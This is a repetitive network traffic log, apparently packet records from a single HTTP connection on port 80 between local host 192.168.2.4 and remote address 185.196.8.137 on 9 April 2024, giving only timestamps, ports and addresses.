Apr 9, 2024 14:54:04.601851940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601869106 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601883888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601905107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601926088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601941109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601953983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601974010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.601989985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602006912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602025032 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602046967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602060080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602080107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602097034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602117062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602132082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602150917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602169037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602186918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602204084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602216005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602236986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602256060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602272034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602286100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602305889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602375031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602446079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602472067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602498055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602519035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602543116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602562904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602585077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602607012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602627039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602646112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602669001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602689028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602713108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602732897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602755070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602775097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602794886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602811098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602838993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602854967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602879047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602899075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602921009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602935076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602960110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.602976084 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603002071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603020906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603044033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603056908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603082895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603097916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603125095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603147984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603168964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603188992 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603209972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603228092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603250980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603271008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603295088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603312969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603336096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603349924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603374958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603398085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603413105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603437901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603460073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603480101 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603502989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603522062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603544950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603563070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603586912 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603602886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603631020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603645086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603669882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603686094 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603708982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603725910 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603751898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603805065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603823900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603837967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603862047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603880882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603913069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603940964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.603986025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604008913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604065895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604090929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604125023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604166031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604191065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604199886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604227066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604243040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604269028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604279041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604300022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604321003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604340076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604355097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604373932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604391098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604403973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604425907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604441881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604461908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604477882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604499102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604517937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604540110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604549885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604573011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604587078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604608059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604624987 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604639053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604664087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604684114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604701996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604717016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604737043 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604754925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604775906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604804993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604826927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604849100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604863882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604918957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604933023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604953051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604969025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.604984045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605005980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605024099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605043888 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605053902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605078936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605097055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605117083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605134010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605156898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605176926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605194092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605205059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605235100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605257988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605268002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605288982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605307102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605366945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605382919 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605400085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605422020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605443001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605458975 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605474949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605503082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605520964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605539083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605561972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605581045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605597973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605613947 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605624914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605647087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605659008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605684042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605704069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605720997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605740070 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605748892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605770111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605786085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605808973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605819941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605839968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605874062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605874062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605884075 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605901957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605918884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605940104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605957031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605977058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.605994940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606010914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606029034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606045961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606059074 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606079102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606092930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606112003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606127977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606146097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606165886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606184006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606199980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606219053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606232882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606251955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606271982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606287956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606307983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606319904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606340885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606358051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606372118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606391907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606416941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606435061 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606451988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606468916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606488943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606503010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606522083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606539011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606551886 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606569052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606589079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606601000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606621981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606647968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606654882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606678009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606692076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606714964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606728077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606750011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606796980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606812000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606837034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606858969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606868029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606889009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606908083 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606924057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606940031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606961012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.606977940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607000113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607013941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607033968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607048035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607064962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607084990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607100010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607121944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607136965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607152939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607175112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607203960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607224941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607247114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607264996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607281923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607295036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607319117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607333899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607355118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607369900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607389927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607409954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607420921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607441902 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607458115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607479095 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607585907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607691050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607717991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607739925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607759953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607774019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607801914 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607861042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607889891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607904911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607933998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607949972 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.607971907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608031034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608055115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608072042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608130932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608166933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608182907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608206034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608228922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608253956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608275890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608299017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608475924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608501911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608520985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608541965 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608593941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608613968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608653069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608669996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608690023 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608711004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608731031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608756065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608771086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608794928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608813047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608843088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608935118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608956099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608975887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.608998060 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609015942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609047890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609113932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609133959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609154940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609237909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609275103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609291077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.609345913 CEST	49740	80	192.168.2.4	185.196.8.137
